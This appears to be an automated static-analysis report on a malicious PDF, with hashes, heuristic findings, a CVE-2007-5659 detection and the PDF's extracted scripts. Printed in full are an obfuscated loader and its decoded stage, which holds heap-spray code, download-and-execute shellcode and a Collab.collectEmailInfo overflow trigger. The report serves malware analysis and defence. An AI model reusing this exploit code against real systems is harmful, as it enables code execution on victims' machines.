Malicious PDF — malware analysis report

Static analysis result for SHA-256 e73017e57e379417…

MALICIOUS

PDF

28.6 KB Created: 2012-10-28 09:07:04 +03:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-09
MD5: dd6be3ce8cacafa33a736f6016c1a0a4 SHA-1: 747b0f3f26d1ae32f464e1007f7417a3949ea021 SHA-256: e73017e57e379417c86a191d85ac1f3e5f174131514ee25346233d0821d7e7cf
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicating an attempt to execute code. The presence of JavaScript actions and streams strongly suggests the document is designed to download and execute a second-stage payload. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x6ECE 1256 bytes
SHA-256: c9ed80678030b6f56d2daa2b7acff159cfe87b2c293449a123102df4467f0924
Preview script
First 1,000 lines of the extracted script
var reggergre = ':';
var xcbdf4tfer = reggergre+'ABCDEFGHI';
var cxbdf4terg = 'WXYZ{}';
var xcbdewt4ger = "^";
var sarwgraew = 'ijklmnop';
var rgfreuih = 'abcd';
var cxvbd4tege = xcbdewt4ger+rgfreuih+'efgh'+sarwgraew;
var cxncgfhyry3e4ter = "z_";
var vcmnfdhrthrth= "q"+"rstuvwxy"+cxncgfhyry3e4ter;
var sdeswf = '!%'+'+-*.,;"=<>&';
var nvbnmewtgerg = '0123456789/'+sdeswf+'\\';
var ytyrty54yrh = vcmnfdhrthrth+nvbnmewtgerg;
var mcnt54hr  = xcbdf4tfer;
var gcmhnr4yesrg4g = "JKLMNOPQRSTUV"+cxbdf4terg;
var cnvcnrghrthdfg = ' '+'()[]'+cxvbd4tege+ytyrty54yrh;
var trh35tewr=mcnt54hr+gcmhnr4yesrg4g+cnvcnrghrthdfg;
function dsaewf23fwe(nmtt34t){
var ewfe23fwef = trh35tewr.indexOf(nmtt34t);
var thtr3tgre=ewfe23fwef-33;
if (thtr3tgre<0)
{var mnrtfegreg = trh35tewr.length;
thtr3tgre=thtr3tgre+mnrtfegreg;}
return trh35tewr.charAt(thtr3tgre);}
function ethet4wer(yuyr54ter){
var mghjkio9o8po6r='';
for (var i = 0;i< yuyr54ter.length-1;i++)
{mghjkio9o8po6r += dsaewf23fwe(yuyr54ter[i]);}
return mghjkio9o8po6r;}
var vcnbrth53ey=getField("WWWW");
var pyuiultjejhrty=vcnbrth53ey.value;
var lopyuyi5r6tj = ethet4wer(pyuiultjejhrty);
var aanmyjuitrhreh= 'sewerwecaaev'+'alsesfesfsef';
var masgfrj45y = aanmyjuitrhreh.substring(10,14);
app[masgfrj45y](lopyuyi5r6tj);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 33) at offset 0x519 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \

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